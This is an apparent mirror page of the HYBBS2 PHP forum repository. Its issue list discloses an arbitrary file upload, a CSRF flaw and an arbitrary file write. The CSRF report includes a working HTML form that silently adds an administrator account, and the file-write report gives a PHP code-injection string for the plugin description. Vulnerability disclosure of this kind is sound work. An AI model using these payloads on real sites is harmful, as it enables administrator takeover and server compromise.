Giter Site home page Giter Site logo

hyyyp / hybbs2 Goto Github PK

View Code? Open in Web Editor NEW
107.0 7.0 28.0 3.51 MB

基于HYPHP MVC框架开发的PHP论坛程序,拥有插件、模板扩展。

Home Page: http://bbs.hyphp.cn

License: GNU General Public License v2.0

PHP 99.94% Hack 0.06%
php bbs hyphp

hybbs2's Introduction

hybbs2's People

Contributors

daniuwo avatar hyyyp avatar tanlingtao avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar

hybbs2's Issues

There is an arbitrary file upload vulnerability in the HYBBS upload plugin function

There is an arbitrary file upload vulnerability in the HYBBS upload plugin function

Vulnerability overview

There is an arbitrary file upload vulnerability in the upload plugin function of the HYBBS management background, which can lead to server permissions.

Vulnerability scope

All versions prior to HYBBS 2.3.3

Vulnerability environment construction

Clone the latest code factory library of HYBBS to the local, and then use phpstudy to build HYBBS.

Vulnerability reproduction steps

Make a malicious zip archive as shown below

2022-02-07-16-46-39

Upload malicious zip archives in the management background upload plugin function

2022-02-07-16-50-42

After uploading, it prompts that the upload was successful

2022-02-07-16-52-20

It can be seen from the log of the folder monitoring software that HYBBS renamed the malicious compressed package and extracted it to the Plugin directory

2022-02-07-16-54-43

2022-02-07-16-57-40

Vulnerability code analysis

Locate the code of the plugin upload function

2022-02-07-17-13-57

2022-02-07-17-14-07

HYBBS directly decompresses the compressed package and does not check the content of the compressed package, resulting in an arbitrary file upload vulnerability.

CSRF vulnerability which can add the administrator account

When the administrator logged in, open the page with poc , it can add the administrator account.
Here, my test site's url is http://localhost/HYBBS2.2 .

poc:
html code below:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/HYBBS2.2/?admin/user.html" method="POST">
      <input type="hidden" name="gn" value="2" />
      <input type="hidden" name="user" value="admin2" />
      <input type="hidden" name="group" value="1" />
      <input type="hidden" name="email" value="xx&#64;126&#46;com" />
      <input type="hidden" name="pass" value="admin123" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

image

安装后进管理后台报错

HYPHP详细调试页
错误信息: session_start(): open(/var/lib/php/session/sess_5977035eba0c39b7237be171ccc99784, O_RDWR) failed: No such file or directory (2)

运行信息
URL: /?admin.html
控制器Action: Admin
操作方法Method: Index

There is an arbitrary file writing vulnerability in the HYBBS production plugin function

There is an arbitrary file writing vulnerability in the HYBBS production plugin function

Vulnerability overview

There is an arbitrary file writing vulnerability in the HYBBS management background making plugin function, which leads to the server permission being obtained.

Vulnerability scope

All versions prior to HYBBS 2.3.3

Vulnerability environment construction

Clone the latest code factory library of HYBBS to the local, and then use phpstudy to build HYBBS.

Vulnerability reproduction steps

Fill in test', phpinfo(),' in the plugin description, and click the OK button.

2022-02-07-17-41-10

Then it will prompt that the plugin was created successfully

2022-02-07-17-43-32

From the folder monitoring software log, you can see that the program created the malicious file conf.php

2022-02-07-17-45-22

2022-02-07-17-45-59

Vulnerability code analysis

Locate the code that makes the plug-in function

2022-02-07-17-48-35

It can be seen that the program directly writes the plugin-related configuration information to conf.php without any security filtering, resulting in an arbitrary file writing vulnerability.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.